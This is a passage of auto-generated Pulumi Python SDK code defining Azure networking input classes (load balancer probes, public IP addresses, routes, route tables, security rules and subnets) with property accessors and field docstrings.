def protocol(self) -> pulumi.Input[Union[str, 'ProbeProtocol']]:
"""
Gets or sets the protocol of the end point. Possible values are http pr Tcp. If Tcp is specified, a received ACK is required for the probe to be successful. If http is specified,a 200 OK response from the specifies URI is required for the probe to be successful
"""
return pulumi.get(self, "protocol")
@protocol.setter
def protocol(self, value: pulumi.Input[Union[str, 'ProbeProtocol']]):
pulumi.set(self, "protocol", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter(name="intervalInSeconds")
def interval_in_seconds(self) -> Optional[pulumi.Input[int]]:
"""
Gets or sets the interval, in seconds, for how frequently to probe the endpoint for health status. Typically, the interval is slightly less than half the allocated timeout period (in seconds) which allows two full probes before taking the instance out of rotation. The default value is 15, the minimum value is 5
"""
return pulumi.get(self, "interval_in_seconds")
@interval_in_seconds.setter
def interval_in_seconds(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "interval_in_seconds", value)
@property
@pulumi.getter(name="loadBalancingRules")
def load_balancing_rules(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]]]:
"""
Gets Load balancer rules that use this probe
"""
return pulumi.get(self, "load_balancing_rules")
@load_balancing_rules.setter
def load_balancing_rules(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]]]):
pulumi.set(self, "load_balancing_rules", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="numberOfProbes")
def number_of_probes(self) -> Optional[pulumi.Input[int]]:
"""
Gets or sets the number of probes where if no response, will result in stopping further traffic from being delivered to the endpoint. This values allows endpoints to be taken out of rotation faster or slower than the typical times used in Azure.
"""
return pulumi.get(self, "number_of_probes")
@number_of_probes.setter
def number_of_probes(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "number_of_probes", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter(name="requestPath")
def request_path(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the URI used for requesting health status from the VM. Path is required if a protocol is set to http. Otherwise, it is not allowed. There is no default value
"""
return pulumi.get(self, "request_path")
@request_path.setter
def request_path(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "request_path", value)
@pulumi.input_type
class PublicIPAddressArgs:
def __init__(__self__, *,
dns_settings: Optional[pulumi.Input['PublicIPAddressDnsSettingsArgs']] = None,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
idle_timeout_in_minutes: Optional[pulumi.Input[int]] = None,
ip_address: Optional[pulumi.Input[str]] = None,
ip_configuration: Optional[pulumi.Input['IPConfigurationArgs']] = None,
location: Optional[pulumi.Input[str]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
public_ip_address_version: Optional[pulumi.Input[Union[str, 'IPVersion']]] = None,
public_ip_allocation_method: Optional[pulumi.Input[Union[str, 'IPAllocationMethod']]] = None,
resource_guid: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None):
"""
PublicIPAddress resource
:param pulumi.Input['PublicIPAddressDnsSettingsArgs'] dns_settings: Gets or sets FQDN of the DNS record associated with the public IP address
:param pulumi.Input[str] etag: Gets a unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[int] idle_timeout_in_minutes: Gets or sets the idle timeout of the public IP address
:param pulumi.Input['IPConfigurationArgs'] ip_configuration: IPConfiguration
:param pulumi.Input[str] location: Resource location
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
:param pulumi.Input[Union[str, 'IPVersion']] public_ip_address_version: Gets or sets PublicIP address version (IPv4/IPv6)
:param pulumi.Input[Union[str, 'IPAllocationMethod']] public_ip_allocation_method: Gets or sets PublicIP allocation method (Static/Dynamic)
:param pulumi.Input[str] resource_guid: Gets or sets resource GUID property of the PublicIP resource
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Resource tags
"""
if dns_settings is not None:
pulumi.set(__self__, "dns_settings", dns_settings)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if idle_timeout_in_minutes is not None:
pulumi.set(__self__, "idle_timeout_in_minutes", idle_timeout_in_minutes)
if ip_address is not None:
pulumi.set(__self__, "ip_address", ip_address)
if ip_configuration is not None:
pulumi.set(__self__, "ip_configuration", ip_configuration)
if location is not None:
pulumi.set(__self__, "location", location)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if public_ip_address_version is not None:
pulumi.set(__self__, "public_ip_address_version", public_ip_address_version)
if public_ip_allocation_method is not None:
pulumi.set(__self__, "public_ip_allocation_method", public_ip_allocation_method)
if resource_guid is not None:
pulumi.set(__self__, "resource_guid", resource_guid)
if tags is not None:
pulumi.set(__self__, "tags", tags)
@property
@pulumi.getter(name="dnsSettings")
def dns_settings(self) -> Optional[pulumi.Input['PublicIPAddressDnsSettingsArgs']]:
"""
Gets or sets FQDN of the DNS record associated with the public IP address
"""
return pulumi.get(self, "dns_settings")
@dns_settings.setter
def dns_settings(self, value: Optional[pulumi.Input['PublicIPAddressDnsSettingsArgs']]):
pulumi.set(self, "dns_settings", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
Gets a unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter(name="idleTimeoutInMinutes")
def idle_timeout_in_minutes(self) -> Optional[pulumi.Input[int]]:
"""
Gets or sets the idle timeout of the public IP address
"""
return pulumi.get(self, "idle_timeout_in_minutes")
@idle_timeout_in_minutes.setter
def idle_timeout_in_minutes(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "idle_timeout_in_minutes", value)
@property
@pulumi.getter(name="ipAddress")
def ip_address(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "ip_address")
@ip_address.setter
def ip_address(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "ip_address", value)
@property
@pulumi.getter(name="ipConfiguration")
def ip_configuration(self) -> Optional[pulumi.Input['IPConfigurationArgs']]:
"""
IPConfiguration
"""
return pulumi.get(self, "ip_configuration")
@ip_configuration.setter
def ip_configuration(self, value: Optional[pulumi.Input['IPConfigurationArgs']]):
pulumi.set(self, "ip_configuration", value)
@property
@pulumi.getter
def location(self) -> Optional[pulumi.Input[str]]:
"""
Resource location
"""
return pulumi.get(self, "location")
@location.setter
def location(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "location", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter(name="publicIPAddressVersion")
def public_ip_address_version(self) -> Optional[pulumi.Input[Union[str, 'IPVersion']]]:
"""
Gets or sets PublicIP address version (IPv4/IPv6)
"""
return pulumi.get(self, "public_ip_address_version")
@public_ip_address_version.setter
def public_ip_address_version(self, value: Optional[pulumi.Input[Union[str, 'IPVersion']]]):
pulumi.set(self, "public_ip_address_version", value)
@property
@pulumi.getter(name="publicIPAllocationMethod")
def public_ip_allocation_method(self) -> Optional[pulumi.Input[Union[str, 'IPAllocationMethod']]]:
"""
Gets or sets PublicIP allocation method (Static/Dynamic)
"""
return pulumi.get(self, "public_ip_allocation_method")
@public_ip_allocation_method.setter
def public_ip_allocation_method(self, value: Optional[pulumi.Input[Union[str, 'IPAllocationMethod']]]):
pulumi.set(self, "public_ip_allocation_method", value)
@property
@pulumi.getter(name="resourceGuid")
def resource_guid(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets resource GUID property of the PublicIP resource
"""
return pulumi.get(self, "resource_guid")
@resource_guid.setter
def resource_guid(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "resource_guid", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
Resource tags
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "tags", value)
@pulumi.input_type
class PublicIPAddressDnsSettingsArgs:
def __init__(__self__, *,
domain_name_label: Optional[pulumi.Input[str]] = None,
fqdn: Optional[pulumi.Input[str]] = None,
reverse_fqdn: Optional[pulumi.Input[str]] = None):
"""
Contains FQDN of the DNS record associated with the public IP address
:param pulumi.Input[str] domain_name_label: Gets or sets the Domain name label.The concatenation of the domain name label and the regionalized DNS zone make up the fully qualified domain name associated with the public IP address. If a domain name label is specified, an A DNS record is created for the public IP in the Microsoft Azure DNS system.
:param pulumi.Input[str] fqdn: Gets the FQDN, Fully qualified domain name of the A DNS record associated with the public IP. This is the concatenation of the domainNameLabel and the regionalized DNS zone.
:param pulumi.Input[str] reverse_fqdn: Gets or Sets the Reverse FQDN. A user-visible, fully qualified domain name that resolves to this public IP address. If the reverseFqdn is specified, then a PTR DNS record is created pointing from the IP address in the in-addr.arpa domain to the reverse FQDN.
"""
if domain_name_label is not None:
pulumi.set(__self__, "domain_name_label", domain_name_label)
if fqdn is not None:
pulumi.set(__self__, "fqdn", fqdn)
if reverse_fqdn is not None:
pulumi.set(__self__, "reverse_fqdn", reverse_fqdn)
@property
@pulumi.getter(name="domainNameLabel")
def domain_name_label(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the Domain name label.The concatenation of the domain name label and the regionalized DNS zone make up the fully qualified domain name associated with the public IP address. If a domain name label is specified, an A DNS record is created for the public IP in the Microsoft Azure DNS system.
"""
return pulumi.get(self, "domain_name_label")
@domain_name_label.setter
def domain_name_label(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "domain_name_label", value)
@property
@pulumi.getter
def fqdn(self) -> Optional[pulumi.Input[str]]:
"""
Gets the FQDN, Fully qualified domain name of the A DNS record associated with the public IP. This is the concatenation of the domainNameLabel and the regionalized DNS zone.
"""
return pulumi.get(self, "fqdn")
@fqdn.setter
def fqdn(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "fqdn", value)
@property
@pulumi.getter(name="reverseFqdn")
def reverse_fqdn(self) -> Optional[pulumi.Input[str]]:
"""
Gets or Sets the Reverse FQDN. A user-visible, fully qualified domain name that resolves to this public IP address. If the reverseFqdn is specified, then a PTR DNS record is created pointing from the IP address in the in-addr.arpa domain to the reverse FQDN.
"""
return pulumi.get(self, "reverse_fqdn")
@reverse_fqdn.setter
def reverse_fqdn(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "reverse_fqdn", value)
@pulumi.input_type
class RouteArgs:
def __init__(__self__, *,
next_hop_type: pulumi.Input[Union[str, 'RouteNextHopType']],
address_prefix: Optional[pulumi.Input[str]] = None,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
next_hop_ip_address: Optional[pulumi.Input[str]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None):
"""
Route resource
:param pulumi.Input[Union[str, 'RouteNextHopType']] next_hop_type: Gets or sets the type of Azure hop the packet should be sent to.
:param pulumi.Input[str] address_prefix: Gets or sets the destination CIDR to which the route applies.
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[str] next_hop_ip_address: Gets or sets the IP address packets should be forwarded to. Next hop values are only allowed in routes where the next hop type is VirtualAppliance.
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the resource Updating/Deleting/Failed
"""
pulumi.set(__self__, "next_hop_type", next_hop_type)
if address_prefix is not None:
pulumi.set(__self__, "address_prefix", address_prefix)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if name is not None:
pulumi.set(__self__, "name", name)
if next_hop_ip_address is not None:
pulumi.set(__self__, "next_hop_ip_address", next_hop_ip_address)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
@property
@pulumi.getter(name="nextHopType")
def next_hop_type(self) -> pulumi.Input[Union[str, 'RouteNextHopType']]:
"""
Gets or sets the type of Azure hop the packet should be sent to.
"""
return pulumi.get(self, "next_hop_type")
@next_hop_type.setter
def next_hop_type(self, value: pulumi.Input[Union[str, 'RouteNextHopType']]):
pulumi.set(self, "next_hop_type", value)
@property
@pulumi.getter(name="addressPrefix")
def address_prefix(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the destination CIDR to which the route applies.
"""
return pulumi.get(self, "address_prefix")
@address_prefix.setter
def address_prefix(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "address_prefix", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="nextHopIpAddress")
def next_hop_ip_address(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the IP address packets should be forwarded to. Next hop values are only allowed in routes where the next hop type is VirtualAppliance.
"""
return pulumi.get(self, "next_hop_ip_address")
@next_hop_ip_address.setter
def next_hop_ip_address(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "next_hop_ip_address", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@pulumi.input_type
class RouteTableArgs:
def __init__(__self__, *,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
location: Optional[pulumi.Input[str]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
routes: Optional[pulumi.Input[Sequence[pulumi.Input['RouteArgs']]]] = None,
subnets: Optional[pulumi.Input[Sequence[pulumi.Input['SubnetArgs']]]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None):
"""
RouteTable resource
:param pulumi.Input[str] etag: Gets a unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[str] location: Resource location
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the resource Updating/Deleting/Failed
:param pulumi.Input[Sequence[pulumi.Input['RouteArgs']]] routes: Gets or sets Routes in a Route Table
:param pulumi.Input[Sequence[pulumi.Input['SubnetArgs']]] subnets: Gets collection of references to subnets
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Resource tags
"""
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if location is not None:
pulumi.set(__self__, "location", location)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if routes is not None:
pulumi.set(__self__, "routes", routes)
if subnets is not None:
pulumi.set(__self__, "subnets", subnets)
if tags is not None:
pulumi.set(__self__, "tags", tags)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
Gets a unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter
def location(self) -> Optional[pulumi.Input[str]]:
"""
Resource location
"""
return pulumi.get(self, "location")
@location.setter
def location(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "location", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter
def routes(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['RouteArgs']]]]:
"""
Gets or sets Routes in a Route Table
"""
return pulumi.get(self, "routes")
@routes.setter
def routes(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['RouteArgs']]]]):
pulumi.set(self, "routes", value)
@property
@pulumi.getter
def subnets(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['SubnetArgs']]]]:
"""
Gets collection of references to subnets
"""
return pulumi.get(self, "subnets")
@subnets.setter
def subnets(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['SubnetArgs']]]]):
pulumi.set(self, "subnets", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
Resource tags
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "tags", value)
@pulumi.input_type
class SecurityRuleArgs:
def __init__(__self__, *,
access: pulumi.Input[Union[str, 'SecurityRuleAccess']],
destination_address_prefix: pulumi.Input[str],
direction: pulumi.Input[Union[str, 'SecurityRuleDirection']],
protocol: pulumi.Input[Union[str, 'SecurityRuleProtocol']],
source_address_prefix: pulumi.Input[str],
description: Optional[pulumi.Input[str]] = None,
destination_port_range: Optional[pulumi.Input[str]] = None,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
priority: Optional[pulumi.Input[int]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
source_port_range: Optional[pulumi.Input[str]] = None):
"""
Network security rule
:param pulumi.Input[Union[str, 'SecurityRuleAccess']] access: Gets or sets network traffic is allowed or denied. Possible values are 'Allow' and 'Deny'
:param pulumi.Input[str] destination_address_prefix: Gets or sets destination address prefix. CIDR or source IP range. Asterisk '*' can also be used to match all source IPs. Default tags such as 'VirtualNetwork', 'AzureLoadBalancer' and 'Internet' can also be used.
:param pulumi.Input[Union[str, 'SecurityRuleDirection']] direction: Gets or sets the direction of the rule.InBound or Outbound. The direction specifies if rule will be evaluated on incoming or outgoing traffic.
:param pulumi.Input[Union[str, 'SecurityRuleProtocol']] protocol: Gets or sets Network protocol this rule applies to. Can be Tcp, Udp or All(*).
:param pulumi.Input[str] source_address_prefix: Gets or sets source address prefix. CIDR or source IP range. Asterisk '*' can also be used to match all source IPs. Default tags such as 'VirtualNetwork', 'AzureLoadBalancer' and 'Internet' can also be used. If this is an ingress rule, specifies where network traffic originates from.
:param pulumi.Input[str] description: Gets or sets a description for this rule. Restricted to 140 chars.
:param pulumi.Input[str] destination_port_range: Gets or sets Destination Port or Range. Integer or range between 0 and 65535. Asterisk '*' can also be used to match all ports.
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[int] priority: Gets or sets the priority of the rule. The value can be between 100 and 4096. The priority number must be unique for each rule in the collection. The lower the priority number, the higher the priority of the rule.
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
:param pulumi.Input[str] source_port_range: Gets or sets Source Port or Range. Integer or range between 0 and 65535. Asterisk '*' can also be used to match all ports.
"""
pulumi.set(__self__, "access", access)
pulumi.set(__self__, "destination_address_prefix", destination_address_prefix)
pulumi.set(__self__, "direction", direction)
pulumi.set(__self__, "protocol", protocol)
pulumi.set(__self__, "source_address_prefix", source_address_prefix)
if description is not None:
pulumi.set(__self__, "description", description)
if destination_port_range is not None:
pulumi.set(__self__, "destination_port_range", destination_port_range)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if name is not None:
pulumi.set(__self__, "name", name)
if priority is not None:
pulumi.set(__self__, "priority", priority)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if source_port_range is not None:
pulumi.set(__self__, "source_port_range", source_port_range)
@property
@pulumi.getter
def access(self) -> pulumi.Input[Union[str, 'SecurityRuleAccess']]:
"""
Gets or sets network traffic is allowed or denied. Possible values are 'Allow' and 'Deny'
"""
return pulumi.get(self, "access")
@access.setter
def access(self, value: pulumi.Input[Union[str, 'SecurityRuleAccess']]):
pulumi.set(self, "access", value)
@property
@pulumi.getter(name="destinationAddressPrefix")
def destination_address_prefix(self) -> pulumi.Input[str]:
"""
Gets or sets destination address prefix. CIDR or source IP range. Asterisk '*' can also be used to match all source IPs. Default tags such as 'VirtualNetwork', 'AzureLoadBalancer' and 'Internet' can also be used.
"""
return pulumi.get(self, "destination_address_prefix")
@destination_address_prefix.setter
def destination_address_prefix(self, value: pulumi.Input[str]):
pulumi.set(self, "destination_address_prefix", value)
@property
@pulumi.getter
def direction(self) -> pulumi.Input[Union[str, 'SecurityRuleDirection']]:
"""
Gets or sets the direction of the rule.InBound or Outbound. The direction specifies if rule will be evaluated on incoming or outgoing traffic.
"""
return pulumi.get(self, "direction")
@direction.setter
def direction(self, value: pulumi.Input[Union[str, 'SecurityRuleDirection']]):
pulumi.set(self, "direction", value)
@property
@pulumi.getter
def protocol(self) -> pulumi.Input[Union[str, 'SecurityRuleProtocol']]:
"""
Gets or sets Network protocol this rule applies to. Can be Tcp, Udp or All(*).
"""
return pulumi.get(self, "protocol")
@protocol.setter
def protocol(self, value: pulumi.Input[Union[str, 'SecurityRuleProtocol']]):
pulumi.set(self, "protocol", value)
@property
@pulumi.getter(name="sourceAddressPrefix")
def source_address_prefix(self) -> pulumi.Input[str]:
"""
Gets or sets source address prefix. CIDR or source IP range. Asterisk '*' can also be used to match all source IPs. Default tags such as 'VirtualNetwork', 'AzureLoadBalancer' and 'Internet' can also be used. If this is an ingress rule, specifies where network traffic originates from.
"""
return pulumi.get(self, "source_address_prefix")
@source_address_prefix.setter
def source_address_prefix(self, value: pulumi.Input[str]):
pulumi.set(self, "source_address_prefix", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets a description for this rule. Restricted to 140 chars.
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter(name="destinationPortRange")
def destination_port_range(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Destination Port or Range. Integer or range between 0 and 65535. Asterisk '*' can also be used to match all ports.
"""
return pulumi.get(self, "destination_port_range")
@destination_port_range.setter
def destination_port_range(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "destination_port_range", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def priority(self) -> Optional[pulumi.Input[int]]:
"""
Gets or sets the priority of the rule. The value can be between 100 and 4096. The priority number must be unique for each rule in the collection. The lower the priority number, the higher the priority of the rule.
"""
return pulumi.get(self, "priority")
@priority.setter
def priority(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "priority", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter(name="sourcePortRange")
def source_port_range(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Source Port or Range. Integer or range between 0 and 65535. Asterisk '*' can also be used to match all ports.
"""
return pulumi.get(self, "source_port_range")
@source_port_range.setter
def source_port_range(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "source_port_range", value)
@pulumi.input_type
class SubResourceArgs:
def __init__(__self__, *,
id: Optional[pulumi.Input[str]] = None):
"""
:param pulumi.Input[str] id: Resource Id
"""
if id is not None:
pulumi.set(__self__, "id", id)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@pulumi.input_type
class SubnetArgs:
def __init__(__self__, *,
address_prefix: Optional[pulumi.Input[str]] = None,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
ip_configurations: Optional[pulumi.Input[Sequence[pulumi.Input['IPConfigurationArgs']]]] = None,
name: Optional[pulumi.Input[str]] = None,
network_security_group: Optional[pulumi.Input['NetworkSecurityGroupArgs']] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
route_table: Optional[pulumi.Input['RouteTableArgs']] = None):
"""
Subnet in a VirtualNetwork resource
:param pulumi.Input[str] address_prefix: Gets or sets Address prefix for the subnet.
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[Sequence[pulumi.Input['IPConfigurationArgs']]] ip_configurations: Gets array of references to the network interface IP configurations using subnet
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input['NetworkSecurityGroupArgs'] network_security_group: Gets or sets the reference of the NetworkSecurityGroup resource
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
:param pulumi.Input['RouteTableArgs'] route_table: Gets or sets the reference of the RouteTable resource
"""
if address_prefix is not None:
pulumi.set(__self__, "address_prefix", address_prefix)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if ip_configurations is not None:
pulumi.set(__self__, "ip_configurations", ip_configurations)
if name is not None:
pulumi.set(__self__, "name", name)
if network_security_group is not None:
pulumi.set(__self__, "network_security_group", network_security_group)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if route_table is not None:
pulumi.set(__self__, "route_table", route_table)
@property
@pulumi.getter(name="addressPrefix")
def address_prefix(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Address prefix for the subnet.
"""
return pulumi.get(self, "address_prefix")
@address_prefix.setter
def address_prefix(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "address_prefix", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter(name="ipConfigurations")
def ip_configurations(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['IPConfigurationArgs']]]]:
"""
Gets array of references to the network interface IP configurations using subnet
"""
return pulumi.get(self, "ip_configurations")
@ip_configurations.setter
def ip_configurations(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['IPConfigurationArgs']]]]):
pulumi.set(self, "ip_configurations", value)
@property
